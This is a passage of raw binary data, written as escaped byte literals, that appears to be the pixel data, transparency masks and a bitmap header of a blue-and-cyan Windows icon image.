x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x08A\xa9\xcc\xbcA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xff?\xa8\xcb\xff\xa8\xd7\xe8\xff\xff\xff\xff\xff\xaf\xda\xe9\xffC\xb6\xda\xff]\xda\xfc\xff\xe2\xf9\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xee\xfc\xff\xfff\xd7\xf7\xffA\xaf\xd3\xd4@\xa5\xc7\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x10A\xa9\xcc\xccA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xff\x9b\xd2\xe4\xff\xdc\xef\xf6\xff\x92\xcd\xe1\xffC\xb6\xda\xffX\xd9\xfc\xff\xbe\xf1\xfe\xff\xdf\xf8\xff\xff\xe6\xfa\xff\xff\xee\xfb\xff\xff\xf4\xfd\xff\xff\xfa\xfe\xff\xff\xf2\xfc\xff\xffo\xdc\xf9\xffA\xb2\xd6\xe1@\xa5\xc8 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x1aA\xa9\xcc\xdaA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffJ\xad\xce\xffL\xae\xcf\xffE\xaa\xcc\xffD\xb6\xda\xffN\xd7\xfc\xffT\xd9\xfd\xffZ\xdb\xfd\xffa\xdc\xfd\xffh\xde\xfd\xffq\xe0\xfd\xff{\xe2\xfe\xff\x84\xe4\xfe\xff\\\xd9\xfb\xffC\xb5\xd8\xeb@\xa5\xc8-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc&A\xa9\xcc\xe6A\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xff@\xa9\xcc\xff@\xa9\xcc\xffA\xa8\xcb\xffE\xb6\xd9\xffN\xd7\xfc\xffN\xd8\xfd\xffM\xd8\xfd\xffM\xd8\xfd\xffL\xd8\xfd\xffL\xd8\xfd\xffK\xd7\xfd\xffK\xd7\xfd\xffM\xd7\xfc\xffE\xb8\xdc\xf4@\xa6\xc9<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc4A\xa9\xcc\xf0A\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa8\xcb\xffD\xb5\xd9\xffM\xd6\xfa\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd9\xfe\xffN\xd9\xfe\xffN\xd9\xfe\xffN\xd9\xfe\xffN\xd9\xfe\xffF\xbc\xe0\xfa@\xa6\xc9M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xccDA\xa9\xcc\xf7A\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffB\xad\xd1\xffE\xb9\xdd\xffF\xbb\xde\xffF\xbc\xe0\xffG\xbe\xe2\xffG\xc0\xe4\xffH\xc2\xe6\xffH\xc3\xe8\xffI\xc5\xea\xffJ\xc8\xec\xffE\xb7\xda\xff@\xa7\xca`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xa5\xcaOA\xa7\xcb\xfaA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xaa\xcd\xffH\xc2\xe6\xffK\xcd\xf2\xffJ\xcb\xf0\xffJ\xca\xee\xffJ\xc8\xed\xffI\xc7\xeb\xffI\xc4\xe8\xffH\xc3\xe7\xffH\xc1\xe5\xffG\xbf\xe3\xffG\xbd\xe1\xfdE\xb8\xdb`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x92\xc2\x18=\x99\xc5\xbb@\xa5\xca\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa8\xcb\xffE\xb9\xdd\xffN\xd6\xfb\xffN\xd9\xfe\xffN\xd9\xfe\xffO\xda\xff\xffL\xd1\xf8\xffL\xd2\xf9\xffO\xda\xfe\xffN\xd9\xfe\xffN\xd9\xfe\xffN\xd8\xfe\xffN\xd8\xfd\xb4N\xd8\xfd\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbe.<\x95\xc3\xd5@\xa4\xca\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcb\xffC\xb0\xd3\xffL\xd0\xf5\xffN\xd9\xfe\xffN\xd8\xfd\xffN\xd8\xfd\xff=\xa3\xd5\xff"P\x95\xff&_\xa0\xffH\xc5\xee\xffN\xd9\xfe\xffN\xd8\xfd\xffN\xd8\xfd\xd7N\xd8\xfd.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbeI;\x92\xc2\xe9?\xa2\xc9\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xaa\xce\xffI\xc7\xeb\xffN\xd9\xfe\xffN\xd8\xfd\xffO\xda\xff\xffA\xaf\xde\xff\x183\x7f\xff\x12\x1eu\xff\x19)\x99\xff0q\xd1\xffM\xd3\xfc\xffN\xd8\xfd\xefN\xd8\xfdR\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbe\x01:\x8b\xbfi;\x90\xc1\xf6?\xa1\xc8\xffA\xa9\xcc\xffA\xa9\xcc\xffF\xbb\xdf\xffN\xd7\xfc\xffN\xd8\xfd\xffN\xd8\xfd\xffO\xdb\xff\xff5\x8c\xc3\xff\x13 v\xff\x1d1\xaf\xff"7\xce\xff.b\xdb\xffL\xd1\xfb\xfcN\xd9\xfd~N\xd8\xfd\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8c\xbf\x06:\x8b\xbf\x8b;\x8f\xc0\xfd>\x9e\xc7\xffC\xb1\xd5\xffL\xd2\xf7\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd9\xfe\xffH\xc7\xef\xff)`\xb6\xff"9\xcc\xff*T\xd7\xffC\xb0\xf1\xffO\xda\xfe\xa9N\xd8\xfd\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8c\xbf\x12:\x8b\xbe\xac<\x92\xc3\xffI\xc4\xeb\xffN\xd9\xfe\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xda\xfe\xffI\xc7\xf7\xff?\xa2\xed\xffH\xc2\xf7\xffN\xd9\xfd\xd4N\xd8\xfd&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x85\xb9(B\xab\xd8\xdeM\xd6\xfb\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd9\xfd\xffO\xdb\xfe\xffN\xd9\xfd\xffN\xd8\xfd\x93\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004t\xab\x0eE\xb6\xe1\xc9N\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xfbN\xd8\xfd\xf2N\xd8\xfd\xe5N\xd8\xfd\xd3N\xd8\xfd\xbeN\xd8\xfd\xa5N\xd8\xfd\x8aN\xd8\xfdoN\xd8\xfd/\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004s\xab\x08D\xb1\xddyN\xd7\xfc\x89N\xd8\xfdkN\xd8\xfdPN\xd8\xfd9N\xd8\xfd$N\xd8\xfd\x15N\xd8\xfd\tN\xd8\xfd\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\x80\xff\xff\x00\x00\xfc\x00|\x00?\xff\x00\x00\xfc\x00\x00\x00\x0f\xff\x00\x00\xfc\x00\x00\x00\x00\xff\x00\x00\xff\x00\x00\x00\x00?\x00\x00\xff\xc0\x00\x00\x00?\x00\x00\xff\xe0\x00\x00\x00?\x00\x00\xff\xf0\x00\x00\x00?\x00\x00\xff\xf8\x00\x00\x00?\x00\x00\xff\xfc\x00\x00\x00\x7f\x00\x00\xff\xfe\x00\x00\x01\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xf0\x00\x07\xff\x00\x00\xff\xff\xf8\x00\x0f\xff\x00\x00\xff\xff\xf8\x00\x0f\xff\x00\x00\xff\xff\xfc\x00\x1f\xff\x00\x00\xff\xff\xfe\x00\x1f\xff\x00\x00\xff\xff\xfe\x00\x7f\xff\x00\x00\xff\xff\xff\x7f\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00(\x00\x00\x00 \x00\x00\x00@\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x02#:\xcf\x05"7\xcd\x04\x11\x18\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 1\xcc\x0e\'D\xd3D*M\xd6\x85-T\xd9\xa01`\xdd\x861`\xdd*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x1b#:\xcf\x94#:\xcf\xb6$<\xd0\xb0%@\xd1\x9f#:\xcf\x8b#9\xcfv"8\xced"8\xceW"8\xceP"8\xceP"8\xce]#;\xcf\x83\'F\xd3\xc3-T\xd9\xf4)K\xd5\xff+P\xd7\xff/Z\xdb\xff1`\xdd\xd51`\xdd^1`\xdd\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf/#:\xcf\xe6#:\xcf\xff#;\xcf\xff&C\xd2\xff+N\xd7\xff)J\xd5\xff\'E\xd3\xff&C\xd2\xfd&B\xd2\xfb\'D\xd3\xfc)J\xd5\xfe,R\xd8\xff0\\\xdc\xff1`\xdd\xff1_\xdd\xff1_\xdd\xff1_\xdd\xff1`\xdd\xff1`\xdd\xf91`\xdd\xcd1`\xdd\x8e-]\xdcT-]\xdc#*Z\xdc\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x02#:\xcfJ#:\xcf\xbf#:\xcf\xfa#;\xcf\xff+P\xd7\xff1`\xdd\xff1`\xdd\xff0^\xdc\xff0^\xdc\xff1_\xdd\xff1`\xdd\xff1a\xdd\xff1a\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff:g\xde\xffp\x91\xe7\xfbAl\xe0\xe23a\xdd\x80.]\xdc\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x10#:\xcfp#:\xcf\xeb$;\xd0\xff)K\xd5\xff/Z\xdb\xff1_\xdd\xff0_\xdc\xff/\\\xdb\xff/Z\xdb\xff/Y\xdb\xff.Y\xdb\xff/Y\xdb\xff0^\xdc\xff1`\xdd\xff1_\xdd\xff1_\xdd\xff1`\xdd\xff1`\xdd\xff5c\xde\xffNv\xe2\xff\x89\xa4\xec\xffp\x91\xe7\xec$V\xdb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x01#:\xcfc#:\xcf\xf2#:\xcf\xff%>\xd1\xff\'E\xd3\xff,Q\xd8\xff\'F\xd4\xff$=\xd0\xff%@\xd0\xff(M\xd0\xff/g\xcf\xff8\x87\xd0\xff<\x93\xd6\xff8\x7f\xd7\xff4n\xd9\xff2c\xdb\xff1_\xdd\xff1_\xdd\xff,\\\xdc\xffu\x95\xe8\xff\x7f\x9c\xea\xec"U\xdb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x04#:\xcfm#:\xcf\xee#:\xcf\xff#:\xcf\xff$>\xd0\xff(M\xd0\xff%B\xcf\xff2q\xcc\xff>\x9d\xcc\xffA\xa8\xcc\xffB\xae\xd0\xffJ\xcb\xee\xffJ\x